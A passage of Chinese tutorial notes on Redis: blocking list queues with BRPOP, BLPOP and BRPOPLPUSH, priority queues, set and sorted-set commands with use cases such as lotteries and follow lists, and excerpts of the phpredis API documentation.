wait 1 second
到此一个使用Redis实现的简单的任务队列就写好了。不过还有一点不完美的地方: 当任务队列中没有任务时消费者每秒都会调用一次RPOP命令查看是否有新任务。如果可以实现一旦有新任务加入任务队列就通知消费者就好了。其实借助 BRPOP 命令就可以实现这样的需求。
BRPOP命令和RPOP命令相似,唯一的区别是当列表中没有元素时BRPOP命令会一直阻塞住连接,直到有新元素加入。如上段代码可改写为:
loop
#如果任务队列中没有新任务,BRPOP命令会一直阻塞,不会执行execute()。
$task=BRPOP queue, 0
#返回值是一个数组(见下介绍),数组第二个元素是我们需要的任务。
execute($task[1])
BRPOP命令接收两个参数,第一个是键名,第二个是超时时间,单位是秒。当超过了此时间仍然没有获得新元素的话就会返回nil。上例中超时时间为"0",表示不限制等待的时间,即如果没有新元素加入列表就会永远阻塞下去。
当获得一个元素后BRPOP命令返回两个值,分别是键名和元素值。为了测试BRPOP命令,可以打开两个redis-cli实例,在实例A中:
redis A>BRPOP queue 0
键入回车后实例1会处于阻塞状态,这时在实例B中向queue中加入一个元素:
redis B>LPUSH queue task
(integer) 1
在LPUSH命令执行后实例A马上就返回了结果:
1) "queue"2) "task"
同时会发现queue中的元素已经被取走:
redis>LLEN queue
(integer) 0
除了BRPOP命令外,Redis还提供了BLPOP,和BRPOP的区别在与从队列取元素时BLPOP会从队列左边取。
【 Redis优先级队列 】
当发送确认邮件和发送通知邮件(可以延迟)两种任务同时存在时,应该优先执行前者。为了实现这一目的,需要实现一个优先级队列。
BRPOP命令可以同时接收多个键,其完整的命令格式为BLPOP key [key …]timeout ,如BLPOP queue:1 queue:2 0。意义是同时检测多个键,如果所有键都没有元素则阻塞,如果其中有一个键有元素则会从该键中弹出元素。例如,打开两个redis-cli实例,在实例A中:
redis A>BLPOP queue:1 queue:2 queue:3 0
在实例B中:
redis B>LPUSH queue:2 task
(integer) 1
则实例A中会返回:
1) "queue:2"2) "task"
如果多个键都有元素则按照从左到右的顺序取第一个键中的一个元素。我们先在queue:2和queue:3中各加入一个元素:
redis>LPUSH queue:2 task1
1) (integer) 1
redis>LPUSH queue:3 task2
2) integer) 1
然后执行BRPOP命令:
redis>BRPOP queue:1 queue:2 queue:3 01) "queue:2"2) "task1"
借此特性可以实现区分优先级的任务队列。我们分别使用queue:confirmation.email和queue:notification.email两个键存储发送确认邮件和发送通知邮件两种任务,然后将消费者的代码改为:
loop
$task =
BRPOP queue:confirmation.email,queue:notification.email,0execute(task[1])
这时一旦发送确认邮件的任务被加入到queue:confirmation.email队列中,无论queue:notification.email还有多少任务,消费者都会优先完成发送确认邮件的任务
【 基于Redis实现阻塞队列 】
日常需求开发过程中,不免会遇到需要通过代码进行异步处理的情况,比如批量发送邮件,批量发送短信,数据导入,为了减少用户的等待,不希望一直菊花转啊转,因此需要进行异步处理,做法就是讲要处理的数据添加到队列当中,然后按照排队的先后顺序进行异步处理。
这个队列,可以是专业的消息队列,如 RocketMQ/RabbitMQ 等,一般项目中,如果只是为了进行异步,未免有点杀鸡用牛刀的意味。
也可以使用基于 JVM 内存实现队列,但是如果项目进行了重启,就会造成队列数据丢失。
大部分的项目都会用到 Redis 中间件作为缓存使用,此时使用 Redis 的 list 结构来实现队列则是非常合适的选择
基于 Redis 的 list 实现队列的方式也有多种,先说第一种不推荐的方式,即使用LPUSH生产消息,然后 while(true) 中通过RPOP消费消息,这种方式的确可以实现,但是不断代码不断的轮询,势必会消耗一些系统的资源。
第二种方式也是不推荐的方式,也是通过LPUSH生产消息,然后通过BRPOP进行阻塞地等待并消费消息,这种方式较第一种方式减少了无用的轮询,降低系统资源的消耗,但是可能会存在队列消息丢失的情况,如果取出了消息然后处理失败,这个被取出的消息就将丢失。
PHP脚本用BLPOP方式从REDIS队列中读出请求,在阻塞读时前端退出了,这样后端PHP脚本不退出,依然阻塞在那里,这是如果向队列中增加一数据,就会被 PHP取走,但是前端又关掉了,这条信息就丢失了。
如果后端是非阻塞的方式,前端断掉,后端PHP也会退出
第二种方式就是下文要介绍的方式,首先也是通过 LPUSH 生产消息,然后通过 BRPOPLPUSH阻塞地等待 list 新消息到来,有了新消息才开始消费,同时将消息备份到另外一个 list 当中,这种方式具备了第二种方式的优点,即减少了无用的轮询,同时也对消息进行了备份不会丢失数据,如果处理成功,可以通过 LREM 对备份的 list 中当前的这条消息进行删除处理
【 用redis阻塞队列,实现消息传递 】
在网络服务器运行的时候,可能会碰到这样的需求,主程序处理会很耗时,
1,网络流量很大,但有紧急情况需要发送邮件通知别人,这时如果在程序中发送邮件,将会很费时,但又必须做
2,处理客户端请求后,剩下的事情跟正常逻辑没有关系,但有些耗时的操作需要完成
遇到这样的情况,可以有几种办法:
1,开一个线程跑这些数据,主程序继续处理其他的任务
2,用redis阻塞队列,将消息传到队列中,其他的事情由别的程序来重redis中读取队列中的消息,并进行处理
1,开一个线程处理:
如果这样的操作很多的话,对程序影响很大的,因为每次涉及到线程资源的申请和销毁,这些都
要占用一些主程序时间,并且这样破坏了主要逻辑的流程
2,用redis的阻塞队列实现:
先说一下环境: 处理客户端请求用php,处理redis的消息队列用python脚本
实现方法: 由php向redis中写人的队列写入消息,由python脚本读redis中的队列中的消息,可能
有朋友会考虑说让python这样一直跑不也占系统资源吗,但redis中有一个阻塞队列,
使用该方法,当python读取队列 的时候,如果为空则阻塞,如果有消息则唤醒并执行,效果很好
补充:
redis中,python调用的一个方法为blpop(key, timeout)
当把timeout致为0时表示永久不超时,这样的话,这个python进程就是类似一个监听进程,
当有消息的时候他就努力工作,没有的时候就看着
php基于Redis消息队列实现的消息推送的方法
php-redis Lists
【 blPop,brPop 即列表的阻塞式(blocking)弹出】
Is a blocking lPop(rPop) primitive. If at least one of the lists contains at least one element,the element will be popped from the head of the list and returned to the caller. If all the list identified by the keys passed in arguments are empty,blPop will block during the specified timeout until an element is pushed to one of those lists. This element will be popped.
Parameters
ARRAY Array containing the keys of the lists
INTEGER Timeout
Or
STRING Key1
STRING Key2
STRING Key3
...
STRING Keyn
INTEGER Timeout
Return value
ARRAY array('listName','element')
// Non blocking feature
$redis->lPush('key1','A');
$redis->del('key2');
$redis->blPop('key1','key2',10); // array('key1','A')
// OR
$redis->blPop(array('key1','key2'),10); // array('key1','A')
$redis->brPop('key1','key2',10); // array('key1','A')
// OR
$redis->brPop(array('key1','key2'),10); // array('key1','A')
// Blocking feature
// process 1
$redis->del('key1');
$redis->blPop('key1',10);
/* blocking for 10 seconds
// process 2
$redis->lPush('key1','A');
// process 1
// array('key1','A') is returned
【 bRPopLPush 】
A blocking version of rPopLPush,with an integral timeout in the third parameter.
Parameters
Key: srckey
Key: dstkey
Long: timeout
Return value
STRING The element that was moved in case of success,FALSE in case of timeout.
【 lIndex,lGet 】
Return the specified element of the list stored at the specified key.
Return FALSE in case of a bad index or a key that doesn't point to a list.
Parameters
key,index
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C'); // key1 => [ 'A','B','C' ]
$redis->lGet('key1',0); // 'A'
$redis->lGet('key1',-1); // 'C'
$redis->lGet('key1',10); // `FALSE`
【 lInsert 】
Insert value in the list before or after the pivot value.
The parameter options specify the position of the insert (before or after). If the list didn't exists,or the pivot didn't exists,the value is not inserted.
Parameters
key
position Redis::BEFORE | Redis::AFTER
pivot
value
Return value
The number of the elements in the list,-1 if the pivot didn't exists.
$redis->del('key1');
$redis->lInsert('key1',Redis::AFTER,'A','X'); // 0
$redis->lPush('key1','A');
$redis->lPush('key1','B');
$redis->lPush('key1','C');
$redis->lInsert('key1',Redis::BEFORE,'C','X'); // 4
$redis->lRange('key1',0,-1); // array('X','C','A','B')
$redis->lInsert('key1',Redis::AFTER,'C','Y'); // 5
$redis->lRange('key1',0,-1); // array('X','C','Y','A','B')
$redis->lInsert('key1',Redis::AFTER,'W','value'); // -1
【 lPop 】
Return and remove the first element of the list.
Return value
STRING if command executed successfully
BOOL FALSE in case of failure (empty list)
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C'); // key1 => [ 'A','B','C' ]
$redis->lPop('key1'); // key1 => [ 'B','C' ]
【 lPush 】
Adds the string value to the head (left) of the list. Creates the list if the key didn't exist. If the key exists and is not a list,FALSE is returned.
Parameters
key
value String,value to push in key
Return value
LONG The new length of the list in case of success,FALSE in case of Failure.
$redis->del('key1');
$redis->lPush('key1','C'); // returns 1
$redis->lPush('key1','B'); // returns 2
$redis->lPush('key1','A'); // returns 3
// key1 now points to the following list: [ 'A','B','C' ]
【 lPushx 】
Adds the string value to the head (left) of the list if the list exists.
Parameters
key
value String,value to push in key
Return value
LONG The new length of the list in case of success,FALSE in case of Failure.
$redis->del('key1');
$redis->lPushx('key1','A'); // returns 0
$redis->lPush('key1','A'); // returns 1
$redis->lPushx('key1','B'); // returns 2
$redis->lPushx('key1','C'); // returns 3
// key1 now points to the following list: [ 'A','B','C' ]
【 lRange,lGetRange 】
Returns the specified elements of the list stored at the specified key in the range [start,end]. start and stop are interpreted as indices:
0 the first element,1 the second ...
-1 the last element,-2 the penultimate ...
Parameters
key
start
end
Return value
Array containing the values in specified range.
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C');
$redis->lRange('key1',0,-1); // array('A','B','C')
【 lRem,lRemove 】
Removes the first count occurrences of the value element from the list. If count is zero,all the matching elements are removed. If count is negative,elements are removed from tail to head.
Note: The argument order is not the same as in theredisdocumentation. This difference is kept for compatibility reasons.
Parameters
key
value
count
Return value
LONG the number of elements to remove
BOOL FALSE if the value identified by key is not a list.
$redis->lPush('key1','A');
$redis->lPush('key1','B');
$redis->lPush('key1','C');
$redis->lPush('key1','A');
$redis->lPush('key1','A');
$redis->lRange('key1',0,-1); // array('A','A','C','B','A')
$redis->lRem('key1','A',2); // 2
$redis->lRange('key1',0,-1); // array('C','B','A')
【 lSet 】
Set the list at index with the new value.
Parameters
key,index,value
Return value
BOOL TRUE if the new value was set. FALSE if the index is out of range,or data type identified by key is not a list.
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C'); // key1 => [ 'A','B','C' ]
$redis->lGet('key1',0); // 'A'
$redis->lSet('key1',0,'X'); // true
$redis->lGet('key1',0); // 'X'
【 lTrim,listTrim 】
Trims an existing list so that it will contain only a specified range of elements.
Parameters
key,start,end
Return value
Bool return FALSE if the key identify a non-list value.
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C');
$redis->lRange('key1',0,-1); // array('A','B','C')
$redis->lTrim('key1',0,1); // true
$redis->lRange('key1',0,-1); // array('A','B')
【 rPop 】
Returns and removes the last element of the list.
Parameters
key
Return value
STRING if command executed successfully
BOOL FALSE in case of failure (empty list)
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C'); // key1 => [ 'A','B','C' ]
$redis->rPop('key1'); // key1 => [ 'A','B' ]
【 rPopLPush 】
Pops a value from the tail of a list,and pushes it to the front of another list. Also return this value. (redis >= 1.1)
Parameters
Key: srckey
Key: dstkey
Return value
STRING The element that was moved in case of success,FALSE in case of failure.
$redis->del('x','y');
$redis->lPush('x','abc');
$redis->lPush('x','def'); // ['def','abc']
$redis->lPush('y','123');
$redis->lPush('y','456'); // ['456','123']
// move the last of x to the front of y.
var_dump($redis->rPopLPush('x','y')); // abc
var_dump($redis->lRange('x',0,-1)); // ['def']
var_dump($redis->lRange('y',0,-1)); // ['abc','456','123']
【 rPush 】
Adds the string value to the tail (right) of the list. Creates the list if the key didn't exist. If the key exists and is not a list,FALSE is returned.
Parameters
key
value String,value to push in key
Return value
LONG The new length of the list in case of success,FALSE in case of Failure.
$redis->del('key1');
$redis->rPush('key1','A'); // returns 1
$redis->rPush('key1','B'); // returns 2
$redis->rPush('key1','C'); // returns 3
// key1 now points to the following list: [ 'A','B','C' ]
【 rPushX 】
Adds the string value to the tail (right) of the list if the ist exists. FALSE in case of Failure.
Parameters
key
value String,value to push in key
Return value
LONG The new length of the list in case of success,FALSE in case of Failure.
$redis->del('key1');
$redis->rPushX('key1','A'); // returns 0
$redis->rPush('key1','A'); // returns 1
$redis->rPushX('key1','B'); // returns 2
$redis->rPushX('key1','C'); // returns 3
// key1 now points to the following list: [ 'A','B','C' ]
【 lLen,lSize 】
Returns the size of a list identified by Key.
If the list didn't exist or is empty,the command returns 0. If the data type identified by Key is not a list,the command return FALSE.
Parameters
Key
Return value
LONG The size of the list identified by Key exists.
BOOL FALSE if the data type identified by Key is not list
$redis->rPush('key1','A');
$redis->rPush('key1','B');
$redis->rPush('key1','C'); // key1 => [ 'A','B','C' ]
$redis->lSize('key1'); // 3
$redis->rPop('key1');
$redis->lSize('key1'); // 2
【 Set 集合 】
K-V格式中V是一个set类型,和list的不同的地方就是set无序且里面的元素有唯一性
Redis的Set是string类型的无序集合,集合成员是唯一的,不能出现重复的数据;是通过哈希表实现的,所以添加、删除、查找复杂度都是O(1)。
集合中最大的成员数为 232 - 1(4294967295,每个集合可存储40多亿个成员)
set对外提供的功能与list类似,也是用来保存多个字符串的元素,是一个列表的功能,特殊之处在于set是可以自动排重的,不允许有重复的元素,集合中的元素是无序的,不能通过索引下标获取元素,3.支持集合间的操作,可以取多个集合取交集、并集、差集,当需要存储一个列表数据又不希望出现重复数据时set是一个很好的选择,并且set提供了判断某个成员是否在一个set集合内的重要接口,这个也是list所不能提供的。
Sets集合就是一堆不重复值的组合。利用Redis提供的Sets数据结构可以存储一些集合性的数据,比如在微博应用中可以将一个用户所有的关注人存在一个集合中,将其所有粉丝存在一个集合。Redis还为集合提供了求交集、并集、差集等操作,可以非常方便的实现如共同关注、共同喜好、二度好友等功能,对上面的所有集合操作还可以使用不同的命令选择将结果返回给客户端还是存集到一个新的集合中
运用的场景之微信抽奖
1.参与抽奖: SADD key 用户id
2.查看参与抽奖的: SMEMBERS key
抽取n名中奖者
方式一: srandmember key [count]
方式二: SPOP key [count]
方式一只有中奖单一,没有多次抽奖和设置奖品等级。因为方式一每次执行不会把抽取的数据删掉,后面执行还可能会抽取到原来的用户
运用的场景之微信微博关注模型
SDIFF set1 set2 set3 是以set1为基准求与set2和set3的并集的差集,得到a是set2和set3的并集中所没有的
关注模型:
1.你关注的人
set guanzhu:我的id {张三、李四、王五、小明、程咬金}
2.小明关注的人
set guanzhu:小明的id {张三、赵六、尼古拉斯}
3.程咬金关注的人
set guanzhu:程咬金的id {小明、李四}
4.我和小明的共同关注:
SINTER guanzhu:我的id guanzhu:小明的id 得到就是张三
5.我关注的人也在关注他 【我关注的某人 否也请关注小明】
SISMEMBER guanzhu:程咬金的id 小明的ID
SISMEMBER guanzhu:张三的id 小明的ID
6.我可能认识的人
SDIFF guanzhu:小明的id 我的ID
redis> sadd runoob redis
(integer) 1
redis> sadd runoob mongodb rabitmq
(integer) 2
redis> sadd runoob rabitmq //根据集合内元素的唯一性,第二次插入的元素将被忽略
(integer) 0
redis> smembers runoob
1) "rabitmq"
2) "mongodb"
3) "redis"
sadd key member1 [member2]
sadd friends jack peter "mist li"
将一个或多个string成员元素加入到集合中,已经存在于集合的成员元素将被忽略。
假如集合key不存在则创建一个只包含添加的元素作成员的集合,当集合key不是集合类型时返回一个错误。
返回被添加到集合中的新元素的数量,不包括被忽略的元素
scard key_name
scard myset
返回集合中元素的数量,当集合key不存在时返回0
键的结果会保存信息,集合长度就记录在里面,所以不需要遍历
原子操作取"原子"的"不可拆分"的意思,原子操作是最小的执行单位,不会在执行过程中被其它命令插入打断
sismember myset1 "hello"
判断成员元素是否是集合的成员
如果成员元素是集合的成员返回1,如果成员元素不是集合的成员或key不存在返回0
srandmember key [count]
srandmember myset1 2
返回集合中的一或多个随机元素,场景: 抽奖
如果count为正数且小于集合基数则返回一个包含count个元素的数组。如果count大于等于集合基数则返回整个集合。
如果count为负数,那么命令返回一个数组,数组中的元素可能会重复出现多次,而数组的长度为count的绝对值。
smembers myset
返回集合中的所有的成员,不存在的集合key被视为空集合,如果集合元素过多如百万个可能会造成服务器阻塞
ssan key cursor [match pattern] [count count]
sscan myset1 0 match h*
迭代集合键中的元素,返回数组列表
spop key
spop myset1
移除并返回集合中的一个随机元素,当集合不存在或是空集时返回nil
srem key member1..membern
srem myset1 "foo"
移除集合中的一个或多个成员元素,不存在的成员元素会被忽略,key不是集合类型则返回一个错误,返回被成功移除的元素的数量,不包括被忽略的元素
smove source destination member
smove myset1 myset2 "bar"
将指定成员member元素从source集合移动到destination集合,smove是原子性操作。
如果source集合不存在或不包含指定的member元素则smove命令不执行任何操作,仅返回0
当destination集合已经包含member元素时smove命令只是简单地将source集合中的member元素删除。
当source或destination不是集合类型时返回一个错误
sinter key key1..keyn
sinter myset myset2
返回给定所有给定集合的交集,原子操作。不存在的集合key被视为空集。当给定集合当中有一个空集时结果也为空集
场景: 微博中的共同关注,取集合中的交集即可,可以设置为定期执行,然后从缓存中取
sinterstore destination key1 [key2]
sinterstore myset myset1 myset2
将给定集合之间的交集存储在指定的集合中,如果指定的集合已经存在则将其覆盖,返回交集成员的列表
sdiff first_key other_key1..other_keyn
key1 = {a,b,c,d}
key2 = {c}
key3 = {a,c,e}
sdiff key1 key2 key3 = {b,d}
返回给定集合之间的差集。不存在的集合key将视为空集
从第一个key的集合中去除其他集合和自己的交集部分
sdiffstore destination key1 [key2]
sdiffstore destset myset myset2
将给定集合之间的差集存储在指定的集合中。如果指定的集合key已存在则会被覆盖
返回结果集中的元素数量
sunion key key1..keyn
sunion key1 key2
返回给定集合的并集,返回并集成员的列表。不存在的集合key被视为空集
sunionstore destination key key1..keyn
sunionstore myset myset1 myset2
将给定集合的并集存储在指定的集合destination中。如果destination已经存在则将其覆盖
php-redis Sets
【 sAdd 】
Adds a value to the set value stored at key. FALSE is returned if this value is already in the set
Parameters: key,value
Return: LONG the number of elements added to the set.
$redis->sAdd('key1' ,'member1'); // 1,'key1' => {'member1'}
$redis->sAdd('key1' ,'member2','member3'); // 2,'key1' => {'member1','member2','member3'}
$redis->sAdd('key1' ,'member2'); // 0,'key1' => {'member1','member2','member3'}
使用redis集合sadd批量添加的方法
call_user_func_array(array($this->redis, 'sadd'), array('key', 0, 'we', 2, 'me', 3, 'td', 8, 'go'));
//array第一项是这个有序列表或集合的键,后续的项目是排序权重,和值的交替
$array=['1','2','3'];
$redis->sAdd('set_test', ...$array);
PHP版本得5.6及以上
$pipe = $redis->pipeline();
foreach($values as $value) {
$pipe->sAdd($key, $value);
}
$redis->exec();
【 sCard,sSize 】
Returns the cardinality of the set identified by key.
Parameters: key
Return: LONG the cardinality of the set identified by key,0 if the set doesn't exist.
$redis->sAdd('key1' ,'member1');
$redis->sAdd('key1' ,'member2');
$redis->sAdd('key1' ,'member3'); // 'key1' => {'member1','member2','member3'}
$redis->sCard('key1'); // 3
$redis->sCard('keyX'); // 0
【 sDiff 】
Performs the difference between N sets and returns it.
Parameters: Keys: key1,key2,... ,keyN: Any number of keys corresponding to sets in redis.
Return: Array of strings: The difference of the first set will all the others.
$redis->del('s0','s1','s2');
$redis->sAdd('s0','1');
$redis->sAdd('s0','2');
$redis->sAdd('s0','3');
$redis->sAdd('s0','4');
$redis->sAdd('s1','1');
$redis->sAdd('s2','3');
var_dump($redis->sDiff('s0','s1','s2')); // ['2','4']
// Return value: all elements of s0 that are neither in s1 nor in s2
【 sDiffStore 】
Performs the same action as sDiff,but stores the result in the first key
Parameters:
Key: dstkey,the key to store the diff into.
Keys: key1,key2,... ,keyN: Any number of keys corresponding to sets in redis
Return value
INTEGER: The cardinality of the resulting set,or FALSE in case of a missing key.
$redis->del('s0','s1','s2');
$redis->sAdd('s0','1');
$redis->sAdd('s0','2');
$redis->sAdd('s0','3');
$redis->sAdd('s0','4');
$redis->sAdd('s1','1');
$redis->sAdd('s2','3');
var_dump($redis->sDiffStore('dst','s0','s1','s2')); // ['2','4']
var_dump($redis->sMembers('dst')); // ['2','4']
【 sInter 】
Returns the members of a set resulting from the intersection of all the sets held at the specified keys.
If just a single key is specified,then this command produces the members of this set. If one of the keys is missing,FALSE is returned.
Parameters: key1,key2,keyN: keys identifying the different sets on which we will apply the intersection.
Return: Array,contain the result of the intersection between those keys. If the intersection between the different sets is empty,the return value will be empty array.
$redis->sAdd('key1','val1');
$redis->sAdd('key1','val2');
$redis->sAdd('key1','val3');
$redis->sAdd('key1','val4');
$redis->sAdd('key2','val3');
$redis->sAdd('key2','val4');
$redis->sAdd('key3','val3');
$redis->sAdd('key3','val4');
var_dump($redis->sInter('key1','key2','key3')); // ['val4','val3']
【 sInterStore 】
Performs a sInter command and stores the result in a new set.
Parameters
Key: dstkey,the key to store the diff into.
Keys: key1,key2... keyN. key1..keyN are intersected as in sInter.
Return value
INTEGER: The cardinality of the resulting set,or FALSE in case of a missing key.
$redis->sAdd('key1','val1');
$redis->sAdd('key1','val2');
$redis->sAdd('key1','val3');
$redis->sAdd('key1','val4');
$redis->sAdd('key2','val3');
$redis->sAdd('key2','val4');
$redis->sAdd('key3','val3');
$redis->sAdd('key3','val4');
var_dump($redis->sInterStore('output','key1','key2','key3'));
var_dump($redis->sMembers('output')); // ['val4','val3']
【 sIsMember,sContains 】
Checks if value is a member of the set stored at the key key.
Parameters: key, value
Return: TRUE if value is a member of the set at key key,FALSE otherwise.
$redis->sAdd('key1' ,'member1');
$redis->sAdd('key1' ,'member2');
$redis->sAdd('key1' ,'member3'); // 'key1' => {'member1','member2','member3'}
$redis->sIsMember('key1','member1'); // TRUE
$redis->sIsMember('key1','memberX'); // FALSE
【 sMembers,sGetMembers 】
Returns the contents of a set.
Parameters: Key: key
Return: An array of elements,the contents of the set.
$redis->del('s');
$redis->sAdd('s','a');
$redis->sAdd('s','b');
$redis->sAdd('s','a');
$redis->sAdd('s','c');
var_dump($redis->sMembers('s')); // ['c','b','a']
// The order is random and corresponds to redis' own internal representation of the set structure.
【 sMove 】
Moves the specified member from the set at srcKey to the set at dstKey.
Parameters: srcKey, dstKey, member
Return: TRUE If the operation is successful,If the srcKey and/or dstKey didn't exist,and/or the member didn't exist in srcKey,FALSE is returned.
$redis->sAdd('key1' ,'member11');
$redis->sAdd('key1' ,'member12');
$redis->sAdd('key1' ,'member13'); // 'key1' => {'member11','member12','member13'}
$redis->sAdd('key2' ,'member21');
$redis->sAdd('key2' ,'member22'); // 'key2' => {'member21','member22'}
$redis->sMove('key1','key2','member13');
// 'key1' => {'member11','member12'}
// 'key2' => {'member21','member22','member13'}
【 sPop 低版本只能有一个参数 】
Removes and returns a random element from the set value at Key.
Parameters: key, count: Integer,optional
Return value (without count argument)
String "popped" value
Bool FALSE if set identified by key is empty or doesn't exist.
Return value (with count argument)
Array: Member(s) returned or an empty array if the set doesn't exist
Bool: FALSE on error if the key is not a set
$redis->sAdd('key1' ,'member1');
$redis->sAdd('key1' ,'member2');
$redis->sAdd('key1' ,'member3'); // 'key1' => {'member3','member1','member2'}
$redis->sPop('key1'); // 'member1','key1' => {'member3','member2'}
$redis->sPop('key1'); // 'member3','key1' => {'member2'}
/* With count */
$redis->sAdd('key2','member1','member2','member3');
$redis->sPop('key2',3); /* Will return all members but in no particular order */
【 sRandMember 】
Returns a random element from the set value at Key,without removing it.
Parameters
key
count (Integer,optional)
Return value
If no count is provided,a random String value from the set will be returned. If a count is provided,an array of values from the set will be returned. Read about the different ways to use the count here: SRANDMEMBER Bool FALSE if set identified by key is empty or doesn't exist.
$redis->sAdd('key1' ,'member1');
$redis->sAdd('key1' ,'member2');
$redis->sAdd('key1' ,'member3'); // 'key1' => {'member3','member1','member2'}
// No count
$redis->sRandMember('key1'); // false
$redis->sRandMember('key1'); // false
// With a count
$redis->sRandMember('key1',3); // false
$redis->sRandMember('key1',2); // false
$redis->sRandMember('key1',-100); // false
$redis->sRandMember('empty-set',100); // return an empty array
$redis->sRandMember('not-a-set',100); // return an empty array
【 sRem,sRemove 】
Removes the specified member from the set value stored at key.
Parameters
key,member
Return value
LONG The number of elements removed from the set.
$redis->sAdd('key1' ,'member1');
$redis->sAdd('key1' ,'member2');
$redis->sAdd('key1' ,'member3'); // 'key1' => {'member1','member2','member3'
$redis->sRem('key1','member2','member3'); // return 2. 'key1' => {'member1'}
【 sUnion 】
Performs the union between N sets and returns it.
Parameters
Keys: key1,key2,... ,keyN: Any number of keys corresponding to sets in redis.
Return value
Array of strings: The union of all these sets.
$redis->del('s0','s1','s2');
$redis->sAdd('s0','1');
$redis->sAdd('s0','2');
$redis->sAdd('s1','3');
$redis->sAdd('s1','1');
$redis->sAdd('s2','3');
$redis->sAdd('s2','4');
var_dump($redis->sUnion('s0','s1','s2')); // ['1','2','3','4']
// Return value: all elements that are either in s0 or in s1 or in s2.
【 sUnionStore 】
Performs the same action as sUnion,but stores the result in the first key
Parameters
Key: dstkey,the key to store the diff into.
Keys: key1,key2,... ,keyN: Any number of keys corresponding to sets in redis.
Return value
INTEGER: The cardinality of the resulting set,or FALSE in case of a missing key.
$redis->del('s0','s1','s2');
$redis->sAdd('s0','1');
$redis->sAdd('s0','2');
$redis->sAdd('s1','3');
$redis->sAdd('s1','1');
$redis->sAdd('s2','3');
$redis->sAdd('s2','4');
var_dump($redis->sUnionStore('dst','s0','s1','s2'));
var_dump($redis->sMembers('dst')); // ['1','2','3','4']
Return value: the number of elements that are either in s0 or in s1 or in s2.
【 sScan 】
Scan a set for members
Parameters
Key: The set to search
iterator: LONG (reference) to the iterator as we go
pattern: String,optional pattern to match against
count: How many members to return at a time (Redis might return a different amount)
Return value
Array,boolean: PHPRedis will return an array of keys or FALSE when we're done iterating
$it = NULL;
// don't return empty results until we're done
$redis->setOption(Redis::OPT_SCAN,Redis::SCAN_RETRY);
while($arr_mems = $redis->sScan('set',$it,"*pattern*")) {
foreach($arr_mems as $str_mem) {
echo "Member: $str_mem\n";
}
}
$it = NULL;
// return after each iteration,even if empty
$redis->setOption(Redis::OPT_SCAN,Redis::SCAN_NORETRY);
while(($arr_mems = $redis->sScan('set',$it,"*pattern*"))!==FALSE) {
if(count($arr_mems) > 0) {
foreach($arr_mems as $str_mem) {
echo "Member found: $str_mem\n";
}
} else {
echo "No members in this iteration,iterator value: $it\n";
}
}
【 zset(sorted set: 有序集合) 】
K-V格式中V是一个有序set类型,保留了集合不能有重复成员的特性,区别是,有序集合中的元素是可以排序的,通过给每个元素设置一个分数作为排序的依据。 Redis zset和set一样也是string类型元素的集合,且不允许重复的成员,不同的是每个元素都会关联一个整数值或双精度浮点数double类型的分数值,redis正是通过分数来为集合中的成员进行从小到大的排序。 zset的成员是唯一的,但分数(score)却可以重复 集合是通过哈希表实现的,所以添加,删除,查找的复杂度都是O(1)。 集合中最大的成员数为232-1(4294967295,每个集合可存储40多亿个成员) 使用场景: Redis sorted set的使用场景与set类似,区别是set不是自动有序的,而sorted set可以通过用户额外提供一个优先级(score)的参数来为成员排序,并且是插入有序的,即自动排序。当需要一个有序的并且不重复的集合列表,那么可以选择sorted set数据结构,比如twitter的public timeline可以以发表时间作为score来存储,这样获取时就是自动按时间排好序的。 例如: 根据PV排序的热门车系车型列表 根据时间排序的新闻列表 另外还可以用Sorted Sets来做带权重的队列,比如普通消息的score为1,重要消息的score为2,然后工作线程可以选择按score的倒序来获取工作任务,让重要的任务优先执行 redis 127.0.0.1:6379> zadd runoobkey 1 redis (integer) 1 redis 127.0.0.1:6379> zadd runoobkey 2 mongodb (integer) 1 redis 127.0.0.1:6379> zadd runoobkey 3 mysql (integer) 1 redis 127.0.0.1:6379> zadd runoobkey 3 mysql (integer) 0 redis 127.0.0.1:6379> zadd runoobkey 4 mysql (integer) 0 redis 127.0.0.1:6379> zrange runoobkey 0 10 WITHSCORES 1) "redis" 2) "1" 3) "mongodb" 4) "2" 5) "mysql" 6) "4" redis> zincrby vote_activity 1 Alice #给Alice投票 redis> zincrby vote_activity 1 Bob #给Bob投票 redis> zincrby vote_activity 1 Alice #给Alice投票 redis> zscore vote_activity Alice #查看Alice投票数 redis> zrevrank vote_activity Alice #获取Alice排名(从高到低,zero-based) redis> zrevrange vote_activity 0 9 #获取前10名(从高到低) redis> zrevrange vote_activity 0 9 withscores #获取前10名及对应的分数(从高到低) redis> zcard vote_activity #获取总参与选手数 zadd key score1 member1 [score2 member2] zadd myzset 1 "one" zadd myzset 2 "two" 3 "three" 用于将一个或多个成员元素及其分数值加入到有序集当中 若某个成员已经是有序集的成员,则更新这个成员的分数值,并通过重新插入这个成员元素来保证该成员在正确的位置 如果有序集合key不存在,则创建一个空的有序集并执行ZADD操作。 当key存在但不是有序集类型时返回一个错误 zcard KEY_NAME zcard myzset 计算集合中元素的数量 当key存在且是有序集类型时返回有序集的基数。当key不存在时返回0 zcount myzset 1 3 计算有序集合中指定分数区间的成员数量 zscore key member zscore salary peter 返回有序集中成员的字符串形式的分数值;如果成员元素不是有序集key的成员或key不存在返回nil zincrby key increment member zincrby myzset 2 "one" 对有序集合中指定成员的分数加上增量 increment 可以通过传递一个负数值 increment ,让分数减去相应的值 当 key 不存在,或分数不是 key 的成员时,ZINCRBY key increment member 等同于 ZADD key increment member 。 当 key 不是有序集类型时,返回一个错误。 分数值可以是整数值或双精度浮点数 返回member 成员的新分数值,以字符串形式表示 zinterstore destination numkeys key [key ...] [WEIGHTS weight [weight ...]] [AGGREGATE SUM|MIN|MAX] zinterstore sum_point 2 mid_test fin_test 计算给定的一个或多个有序集的交集,其中给定key的数量须以numkeys参数指定,并将该交集(结果集)储存到destination 默认情况下,结果集中某个成员的分数值是所有给定集下该成员分数值之和 zlexcount KEY MIN MAX zadd myzset 0 a 0 b 0 c 0 d 0 e zadd myzset 0 f 0 g zlexcount myzset - + // (integer) 7 zlexcount myzset [b [f // (integer) 5 计算有序集合中指定字典区间内成员数量 zrange key start stop [withscores] zrevrange key start stop [withscores] zrange salary 0 -1 withscores // 显示整个有序集成员 zrange salary 